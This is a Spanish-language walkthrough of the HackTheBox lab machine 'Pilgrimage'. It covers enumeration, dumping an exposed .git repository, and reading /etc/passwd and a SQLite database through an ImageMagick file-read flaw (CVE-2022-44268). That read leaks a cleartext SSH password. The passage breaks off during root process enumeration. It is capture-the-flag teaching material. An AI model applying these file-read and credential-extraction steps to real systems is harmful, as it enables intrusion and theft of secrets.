Pilgrimage
13 minutos de lectura
emily
, que también se usa en SSH. Después de eso, encontramos que root
ejecuta un script en Bash que usa binwalk
para eliminar malware de los archivos de imagen subidos. La versión de binwalk
es vulnerable a ejecución remota de comandos, lo que conduce a la escalada de privilegios- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.219
- Fecha: 24 / 06 / 2023
Escaneo de puertos
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.219 -p 22,80
Nmap scan report for 10.10.11.219
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| 256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_ 256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.01 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.219
se nos redirige a http://pilgrimage.htb
. Después de poner el dominio en /etc/hosts
vemos esta página web:
Hay una funcionalidad para cargar archivos. Por el momento, apliquemos fuzzing con ffuf
para enumerar más rutas:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://pilgrimage.htb/FUZZ
[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 33ms]
* FUZZ: tmp
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 33ms]
* FUZZ: .html
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 35ms]
* FUZZ: .htm
[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 38ms]
* FUZZ: assets
[Status: 200, Size: 7621, Words: 2051, Lines: 199, Duration: 36ms]
* FUZZ: .
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 40ms]
* FUZZ: .htaccess
[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 36ms]
* FUZZ: vendor
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 35ms]
* FUZZ: .htc
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 36ms]
* FUZZ: .html_var_DE
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 38ms]
* FUZZ: .htpasswd
[Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 37ms]
* FUZZ: .git
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 38ms]
* FUZZ: .html.
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 36ms]
* FUZZ: .html.html
[Status: 403, Size: 153, Words: 3, Lines: 8, Duration: 37ms]
* FUZZ: .htpasswds
...
Vemos que hay un directorio .git
expuesto…
Enumeración de Git
Vamos a usar git-dumper
para extraer el repositorio de Git:
$ git-dumper http://pilgrimage.htb/.git/ .
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://pilgrimage.htb/.gitignore [404]
[-] Fetching http://pilgrimage.htb/.git/description [200]
[-] http://pilgrimage.htb/.gitignore responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-receive.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-commit.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/info/exclude [200]
[-] Fetching http://pilgrimage.htb/.git/objects/info/packs [404]
[-] http://pilgrimage.htb/.git/objects/info/packs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://pilgrimage.htb/.git/index [200]
[-] Finding refs/
[-] Fetching http://pilgrimage.htb/.git/FETCH_HEAD [404]
[-] http://pilgrimage.htb/.git/FETCH_HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/HEAD [200]
[-] Fetching http://pilgrimage.htb/.git/ORIG_HEAD [404]
[-] http://pilgrimage.htb/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/config [200]
[-] Fetching http://pilgrimage.htb/.git/logs/HEAD [200]
[-] Fetching http://pilgrimage.htb/.git/info/refs [404]
[-] http://pilgrimage.htb/.git/info/refs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/heads/master [200]
[-] Fetching http://pilgrimage.htb/.git/packed-refs [404]
[-] http://pilgrimage.htb/.git/packed-refs responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/remotes/origin/master [404]
[-] http://pilgrimage.htb/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/logs/refs/stash [404]
[-] http://pilgrimage.htb/.git/logs/refs/stash responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/heads/master [200]
[-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/HEAD [404]
[-] http://pilgrimage.htb/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/remotes/origin/master [404]
[-] http://pilgrimage.htb/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master [404]
[-] Fetching http://pilgrimage.htb/.git/refs/stash [404]
[-] http://pilgrimage.htb/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] http://pilgrimage.htb/.git/refs/stash responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master [404]
[-] http://pilgrimage.htb/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://pilgrimage.htb/.git/objects/8e/42bc52e73caeaef5e58ae0d9844579f8e1ae18 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://pilgrimage.htb/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/objects/c4/18930edec4da46019a1bac06ecb6ec6f7975bb [200]
[-] Fetching http://pilgrimage.htb/.git/objects/46/44c40a1f15a1eed9a8455e6ac2a0be29b5bf9e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/76/a559577d4f759fff6af1249b4a277f352822d5 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fa/175a75d40a7be5c3c5dee79b36f626de328f2e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c3/27c2362dd4f8eb980f6908c49f8ef014d19568 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f2/b67ac629e09e9143d201e9e7ba6a83ee02d66e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/e1/a40beebc7035212efdcb15476f9c994e3634a7 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c2/a4c2fd4e5b2374c6e212d1800097e3b30ff4e2 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b2/15e14bb4766deff4fb926e1aa080834935d348 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/a5/29d883c76f026420aed8dbcbd4c245ed9a7c0b [200]
[-] Fetching http://pilgrimage.htb/.git/objects/1f/2ef7cfabc9cf1d117d7a88f3a63cadbb40cca3 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/e9/2c0655b5ac3ec2bfbdd015294ddcbe054fb783 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/1f/8ddab827030fbc81b7cb4441ec4c9809a48bc1 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fb/f9e44d80c149c822db0b575dbfdc4625744aa4 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b6/c438e8ba16336198c2e62fee337e126257b909 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c4/3565452792f19d2cf2340266dbecb82f2a0571 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/11/dbdd149e3a657bc59750b35e1136af861a579f [200]
[-] Fetching http://pilgrimage.htb/.git/objects/fd/90fe8e067b4e75012c097a088073dd1d3e75a4 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/ff/dbd328a3efc5dad2a97be47e64d341d696576c [200]
[-] Fetching http://pilgrimage.htb/.git/objects/47/6364752c5fa7ad9aa10f471dc955aac3d3cf34 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/2f/9156e434cfa6204c9d48733ee5c0d86a8a4e23 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/49/cd436cf92cc28645e5a8be4b1973683c95c537 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/2b/95e3c61cd8f7f0b7887a8151207b204d576e14 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/c2/cbe0c97b6f3117d4ab516b423542e5fe7757bc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/50/210eb2a1620ef4c4104c16ee7fac16a2c83987 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/29/4ee966c8b135ea3e299b7ca49c450e78870b59 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/cd/2774e97bfe313f2ec2b8dc8285ec90688c5adb [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8a/62aac3b8e9105766f3873443758b7ddf18d838 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/5f/ec5e0946296a0f09badeb08571519918c3da77 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/96/3349e4f7a7a35c8f97043c20190efbe20d159a [200]
[-] Fetching http://pilgrimage.htb/.git/objects/6c/965df00a57fd13ad50b5bbe0ae1746cdf6403d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/88/16d69710c5d2ee58db84afa5691495878f4ee1 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/06/19fc1c747e6278bbd51a30de28b3fcccbd848a [200]
[-] Fetching http://pilgrimage.htb/.git/objects/dc/446514835fe49994e27a1c2cf35c9e45916c71 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/54/4d28df79fe7e6757328f7ecddf37a9aac17322 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/b4/21518638bfb4725d72cc0980d8dcaf6074abe7 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f3/e708fd3c3689d0f437b2140e08997dbaff6212 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/93/ed6c0458c9a366473a6bcb919b1033f16e7a8d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/36/c734d44fe952682020fd9762ee9329af51848d [200]
[-] Fetching http://pilgrimage.htb/.git/objects/26/8dbf75d02f0d622ac4ff9e402175eacbbaeddd [200]
[-] Fetching http://pilgrimage.htb/.git/objects/81/703757c43fe30d0f3c6157a1c20f0fea7331fc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/9e/ace5d0e0c82bff5c93695ac485fe52348c855e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/98/10e80fba2c826a142e241d0f65a07ee580eaad [200]
[-] Fetching http://pilgrimage.htb/.git/objects/a7/3926e2965989a71725516555bcc1fe2c7d4f9e [200]
[-] Fetching http://pilgrimage.htb/.git/objects/8f/155a75593279c9723a1b15e5624a304a174af2 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/ca/d9dfca08306027b234ddc2166c838de9301487 [200]
[-] Fetching http://pilgrimage.htb/.git/objects/23/1150acdd01bbbef94dfb9da9f79476bfbb16fc [200]
[-] Fetching http://pilgrimage.htb/.git/objects/f1/8fa9173e9f7c1b2f30f3d20c4a303e18d88548 [200]
[-] Running git checkout .
Tenemos estos archivos fuente:
$ tree
.
├── assets
│ ├── bulletproof.php
│ ├── css
│ │ ├── animate.css
│ │ ├── custom.css
│ │ ├── flex-slider.css
│ │ ├── fontawesome.css
│ │ ├── owl.css
│ │ └── templatemo-woox-travel.css
│ ├── images
│ │ ├── banner-04.jpg
│ │ └── cta-bg.jpg
│ ├── js
│ │ ├── custom.js
│ │ ├── isotope.js
│ │ ├── isotope.min.js
│ │ ├── owl-carousel.js
│ │ ├── popup.js
│ │ └── tabs.js
│ └── webfonts
│ ├── fa-brands-400.ttf
│ ├── fa-brands-400.woff2
│ ├── fa-regular-400.ttf
│ ├── fa-regular-400.woff2
│ ├── fa-solid-900.ttf
│ ├── fa-solid-900.woff2
│ ├── fa-v4compatibility.ttf
│ └── fa-v4compatibility.woff2
├── dashboard.php
├── index.php
├── login.php
├── logout.php
├── magick
├── register.php
└── vendor
├── bootstrap
│ ├── css
│ │ └── bootstrap.min.css
│ └── js
│ └── bootstrap.min.js
└── jquery
├── jquery.js
├── jquery.min.js
├── jquery.min.map
├── jquery.slim.js
├── jquery.slim.min.js
└── jquery.slim.min.map
11 directories, 37 files
Parece una aplicación web PHP. Además, no hay más información en el repositorio de Git:
$ git branch
* master
$ git log
commit e1a40beebc7035212efdcb15476f9c994e3634a7 (HEAD -> master)
Author: emily <emily@pilgrimage.htb>
Date: Wed Jun 7 20:11:48 2023 +1000
Pilgrimage image shrinking service initial commit.
Bueno, tal vez el nombre de usuario emily
sea relevante.
Análisis del código fuente
El archivo PHP principal es index.php
. Este es el código PHP relevante:
<?php
session_start();
require_once "assets/bulletproof.php";
function isAuthenticated() {
return json_encode(isset($_SESSION['user']));
}
function returnUsername() {
return "\"" . $_SESSION['user'] . "\"";
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$image = new Bulletproof\Image($_FILES);
if($image["toConvert"]) {
$image->setLocation("/var/www/pilgrimage.htb/tmp");
$image->setSize(100, 4000000);
$image->setMime(array('png','jpeg'));
$upload = $image->upload();
if($upload) {
$mime = ".png";
$imagePath = $upload->getFullPath();
if(mime_content_type($imagePath) === "image/jpeg") {
$mime = ".jpeg";
}
$newname = uniqid();
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
unlink($upload->getFullPath());
$upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime;
if(isset($_SESSION['user'])) {
$db = new PDO('sqlite:/var/db/pilgrimage');
$stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");
$stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));
}
header("Location: /?message=" . $upload_path . "&status=success");
}
else {
header("Location: /?message=Image shrink failed&status=fail");
}
}
else {
header("Location: /?message=Image shrink failed&status=fail");
}
}
?>
Podemos ver que el archivo subido debe ser una imagen (formato PNG o JPEG). El servidor usa ImageMagick para procesar el archivo de imagen. Podríamos pensar en formas de explotar una vulnerabilidad de inyección de comandos aquí:
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
Pero el nombre de archivo se desinfecta con Bulletproof
, por lo que la inyección no es posible.
Acceso a la máquina
Se sabe que ImageMagick tiene un montón de vulnerabilidades y, por lo tanto, un montón de exploits. De hecho, hay una vulnerabilidad reciente que otorga lectura de archivos locales (CVE-2022-44268). Más información sobre esta vulnerabilidad aquí. Se puede encontrar un exploit en imagemagick-lfi-poc.
Veamos cómo podemos leer /etc/passwd
, por ejemplo:
$ python3 imagemagick-lfi-poc/generate.py -f /etc/passwd -o exploit.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /etc/passwd
[>] PoC PNG generated > exploit.png
Ahora subimos este archivo de imagen:
Y obtenemos una URL con la imagen procesada:
Ahora el archivo de imagen contiene /etc/passwd
en los metadatos Raw Profile Type
:
$ wget -q http://pilgrimage.htb/shrunk/649a2a09bd257.png
$ exiftool 649a2a09bd257.png
ExifTool Version Number : 12.60
File Name : 649a2a09bd257.png
Directory : .
File Size : 1688 bytes
File Modification Date/Time : 2023:06:27 02:15:05+02:00
File Access Date/Time : 2023:06:27 02:17:00+02:00
File Inode Change Date/Time : 2023:06:27 02:16:59+02:00
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 128
Image Height : 128
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Gamma : 2.2
White Point X : 0.3127
White Point Y : 0.329
Red X : 0.64
Red Y : 0.33
Green X : 0.3
Green Y : 0.6
Blue X : 0.15
Blue Y : 0.06
Background Color : 255 255 255
Modify Date : 2023:06:27 00:15:05
Raw Profile Type : .. 1437.726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d.6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f.6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e.2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269.6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f.62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d.65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a.2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a.783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f.6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372.2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73.706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31.303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f.6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573.722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d.646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b.75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f.7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69.7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67.696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73.62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d.5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e.6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334.3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e.2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374.656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72.6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65.6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e.0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052.65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f.6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973.74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573.796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69.7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c.6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d.652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78.3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f.7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f.737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938.3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a.
Warning : [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers)
Datecreate : 2023-06-27T00:15:05+00:00
Datemodify : 2023-06-27T00:15:05+00:00
Datetimestamp : 2023-06-27T00:15:05+00:00
Image Size : 128x128
Megapixels : 0.016
Podemos usar identify
de ImageMagick para extraer el contenido:
$ identify -verbose 649a2a09bd257.png
Image:
...
Raw profile type:
1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f
62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a
2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a
783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372
2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73
706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31
303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f
6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573
722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d
646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b
75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f
7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69
7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67
696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73
62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d
5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e
6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334
3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e
2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374
656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72
6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65
6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e
0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a
signature: e881558c35046fa634a9acd154bbb27903b59c018f14e2dfbd398aba4f497bd5
...
Podemos tomar el trozo en hexadecimal de arriba y decodificarlo para leer el archivo /etc/passwd
de la máquina:
$ vim etc_passwd.hex
$ xxd -r -p etc_passwd.hex
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Como se puede ver, podemos confirmar que emily
es un usuario de sistema. Podríamos vernos tentados a leer /home/emily/.ssh/id_rsa
o /home/emily/user.txt
, pero www-data
no tiene permiso para leer esos archivos.
En su lugar, podemos intentar leer /var/db/pilgrimage
, que es un archivo de base de datos SQLite que aparece en index.php
:
$db = new PDO('sqlite:/var/db/pilgrimage');
Una vez que repitamos el proceso anterior para /var/db/pilgrimage
, obtendremos el archivo de la base de datos. Entonces, volcareemos la tabla users
y encontraremos una contraseña en texto claro para emily
:
$ file pilgrimage
pilgrimage: SQLite 3.x database, last written using SQLite version 3034001, file counter 69, database pages 5, cookie 0x4, schema 4, UTF-8, version-valid-for 69
$ sqlite3 pilgrimage
SQLite version 3.39.5 2022-10-14 20:58:05
Enter ".help" for usage hints.
sqlite> .tables
images users
sqlite> .header on
sqlite> select * from users;
username|password
emily|abigchonkyboi123
Afortunadamente, esta contraseña funciona para conectarse a la máquina a través de SSH:
$ ssh emily@pilgrimage.htb
emily@pilgrimage.htb's password:
emily@pilgrimage:~$ cat user.txt
10fbe26920d512e05fb451458ab7fa17
Enumeración del sistema
Después de hacer una enumeración básica, descubrimos que root
está ejecutando estos comandos periódicamente:
emily@pilgrimage:~$ ps -faux | grep ^root
root 2 0.0 0.0 0 0 ? S 06:39 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 06:39 0:00 \_ [rcu_gp]
...
root 1745 0.0 0.0 0 0 ? I 10:15 0:00 \_ [kworker/0:0]
root 1 0.0 0.2 98268 9952 ? Ss 06:39 0:01 /sbin/init
root 503 0.0 0.2 48412 11092 ? Ss 06:40 0:00 /lib/systemd/systemd-journald
root 525 0.0 0.1 21848 5532 ? Ss 06:40 0:00 /lib/systemd/systemd-udevd
root 567 0.0 0.2 47748 10208 ? Ss 06:40 0:00 /usr/bin/VGAuthService
root 568 0.0 0.1 236744 7576 ? Ssl 06:40 0:12 /usr/bin/vmtoolsd
root 573 0.0 0.0 87060 2148 ? S<sl 06:40 0:00 /sbin/auditd
root 641 0.0 0.0 6744 2900 ? Ss 06:40 0:00 /usr/sbin/cron -f
root 644 0.0 0.0 6816 3048 ? Ss 06:40 0:00 /bin/bash /usr/sbin/malwarescan.sh
root 654 0.0 0.0 2516 708 ? S 06:40 0:00 \_ /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
root 655 0.0 0.0 6816 2316 ? S 06:40 0:00 \_ /bin/bash /usr/sbin/malwarescan.sh
root 646 0.0 0.6 209752 26856 ? Ss 06:40 0:00 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
